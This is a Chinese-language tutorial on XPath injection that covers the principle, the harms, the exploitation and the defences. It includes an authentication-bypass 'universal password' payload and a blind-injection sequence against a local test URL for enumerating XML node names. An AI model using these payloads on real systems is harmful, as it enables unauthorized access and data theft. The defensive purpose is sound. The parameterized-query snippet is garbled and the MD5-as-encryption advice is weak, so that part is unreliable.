ThinkChat2.0新版上线,更智能更精彩,支持会话、画图、视频、阅读、搜索等,送10W Token,即刻开启你的AI之旅 广告
[TOC] ## XPath注入攻击原理 * XPath注入攻击其实就跟sql注入大致一样,像**sql注入是查询的数据库**,而**XPath注入是查询的存储数据的文件xml**, * 攻击者可以获取XML数据的组织结构,或者访问在正常情况下不允许访问的数据,如果XML数据被用于用户认证,那么攻击者就可以提升他的权限。因为xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。XML中没有访问控制或者用户认证,如果用户有权限使用XPath查询,并且之间没有防御系统或者查询语句没有被防御系统过滤,那么用户就能够访问整个XML文档。 ## XPath注入的危害 * 在URL及表单中提交恶意XPath代码,可获取到权限限制数据的访问权,并可修改这些数据; * 可通过此类漏洞查询获取到系统内部完整的XML文档内容。 * 逻辑以及认证被绕过,它不像数据库那样有各种权限,xml没有各种权限的概念,正因为没有权限概念,因此利用xpath构造查询的时候整个数据库都会被用户读取。 * 绕过验证、信息泄露 ## XPath注入的利用 万能密码 ``` `//users/user[username/text()= ' ' or ‘1’ or '1' and password/text()='']` ``` XPath盲注 ``` 1. 利用count(/*)判断跟下节点: http://127.0.0.1/xpath/index.php?name=’ or count(/*) = 1 or ‘1’ = ‘2 Result: 1 如果有返回结果证明存在一个根节点 2. 利用substring分割根节点的每个字符,猜解第一级节点: http://127.0.0.1/xpath/index.php?name=’ or substring(name(/[position() = 1]),1,1)=‘r’ or ‘1’=‘2 http://127.0.0.1/xpath/index.php?name=’ or substring(name(/[position() = 1]),2,1)=‘o’ or ‘1’='2 … Result: root 3. 判断root的下一级节点数: http://127.0.0.1/xpath/index.php?name=’ or count(/root/*) = 2 or ‘1’ = ‘2 Result: 1 4. 猜解root的下一级节点: http://127.0.0.1/xpath/index.php?name=’ or substring(name(/root/[position() = 1]),1,1)=‘u’ or ‘1’=‘2 http://127.0.0.1/xpath/index.php?name=’ or substring(name(/root/[position() = 2]),1,1)=‘s’ or ‘1’='2 Result: users ``` ## XPath注入攻击防御技术 1. 数据提交到服务器上端,在服务端正式处理这批数据之前,对提交数据的合法性进行验证。 2. 检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串。 3. 对于系统出现的错误信息,以IE错误编码信息替换,屏蔽系统本身的出错信息。 4. 参数化XPath查询,将需要构建的XPath查询表达式,以变量的形式表示,变量不是可以执行的脚本。如下代码可以通过创建保存查询的外部文件使查询参数化: ``` declare variable $loginID as xs:string external; ``` ``` declare variable p a s s w o r d a s x s : s t r i n g e x t e r n a l ; / / u s e r s / u s e r [ @ l o g i n I D = password as xs:string external; //users/user[@loginID=passwordasxs:stringexternal;//users/user[@loginID=loginID and@password= $password] ``` 5. 通过MD5、SSL等加密算法,对于数据敏感信息和在数据传输过程中加密,即使某些非法用户通过非法手法获取数据包,看到的也是加密后的信息。